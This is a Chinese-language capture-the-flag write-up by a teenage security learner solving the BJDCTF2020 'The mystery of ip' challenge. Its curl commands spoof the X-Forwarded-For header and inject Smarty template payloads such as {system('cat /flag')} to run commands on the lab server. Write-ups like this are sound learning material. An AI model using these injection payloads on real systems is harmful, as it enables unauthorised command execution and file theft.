大家好,那么可以叫我凌,是个16岁的网络安全学习者。
今天我们的目标是 BJDCTF2020The mystery of ip 这道题目。
解题思路
我们先启动靶场

和上次相同,是SSL加密的TCP隧道地址。我猜测这是CTF2的特色,因为以前我刷BUUCTF的时候并没有这种方式。
那我们老样子,依旧使用CURL探探虚实:
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/

发现可疑目标,可能藏有Flag。我们继续深入看看。
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php

发现了个IP地址,我查了下本机的公网IP和内网IP,并不属于这个地址。那我们ping一下看看
bash
ping 10.42.3.43

物理机ping不通,Kali也同个情况。那么我们猜测应该是内网IP暴露在了公网,那继续尝试修改请求头看看能不能欺骗目标。
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Real-IP: 127.0.0.1"
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:127.0.0.1"
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "Client-IP: 127.0.0.1"


三个命令两个结果,看来只有 "X-Real-IP" 和 "X-Forwarded-For" 可以欺骗过目标。
html
<label><h2>Your IP is : 127.0.0.1</h2></label>
<label><h2>Your IP is : 10.42.3.44</h2></label>
嘶!可是我们要的是Flag啊,现在只是骗过了目标,接下来我们该怎么做呢?
对于以前刚接触这种题目的我可能是满头雾水,但是现在就不一样了。那在这里,我给大家分享个我以前第一次做这道题目得出的一个道理,就连当初我的老师教我的时候也没有讲过。那就是:
渗透测试过程中重要的不是服务器收到的各个信息,而是对各个信息的处理方式。就算是查看浏览器类型,只要处理方式不对也会出问题。
这个道理我相信刷过CTF的人多多少少都会悟出来,就算没有,在这个栏目里面我们也会去逐步验证的。
那我们就直接使用 {{7*7}} 塞入请求头的IP地址里面看看会发生什么。
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Real-IP: {{7*7}}"
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{{7*7}}"


重大发现。""X-Real-IP"没有什么发现,但是"X-Forwarded-For"居然返回了个49!那说明可能存在RCE漏洞。
那我们就来验证下吧
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{system(whoami)}"

确认了,用户名被爆出来了,确实存在RCE漏洞。
html
<label><h2>Your IP is : www-data www-data</h2></label>
那我们就可以直接读取看看有没有flag了:
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{system('ls')}"
html
<label><h2>Your IP is : bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c</h2></label>
看来并没有,flag.php就是目前我们访问的文件,那我们深入根目录看下。
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: {system('ls /')}"

发现可疑文件flag,我们尝试读取看看
bash
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: {system('cat /flag')}"

html
<label><h2>Your IP is : CTF2{ae241eeb-b3ad-4b09-8e8e-bade2233be9f}
CTF2{ae241eeb-b3ad-4b09-8e8e-bade2233be9f}</h2></label>
成功拿下flag,这样子这道题就算完成了。
靶场小结
考点标签
SSTI、Smarty模板注入、HTTP请求头伪造、绝对路径
关键感悟
渗透测试过程中重要的不是服务器收到的各个信息,而是对各个信息的处理方式。就算是查看浏览器类型,只要处理方式不对也会出问题。
核心教训
功能点即攻击面:页面上显示IP地址的功能,背后可能对应着X-Forwarded-For、Client-IP等请求头的处理逻辑,每一个能控制输入的地方都值得测试。
解题关键步骤
-
第一步:发现IP回显功能 → 页面显示Your IP is : xxx,说明后端获取并显示了访问者IP。
-
第二步:伪造请求头 → 依次测试X-Forwarded-For、Client-IP、X-Real-IP,找到能修改回显IP的请求头。
-
第三步:测试SSTI → 将IP值改为{system('ls')},确认命令被执行,页面回显了目录列表。
-
第四步:读Flag → 用{system('cat /flag')}直接读取根目录下的Flag文件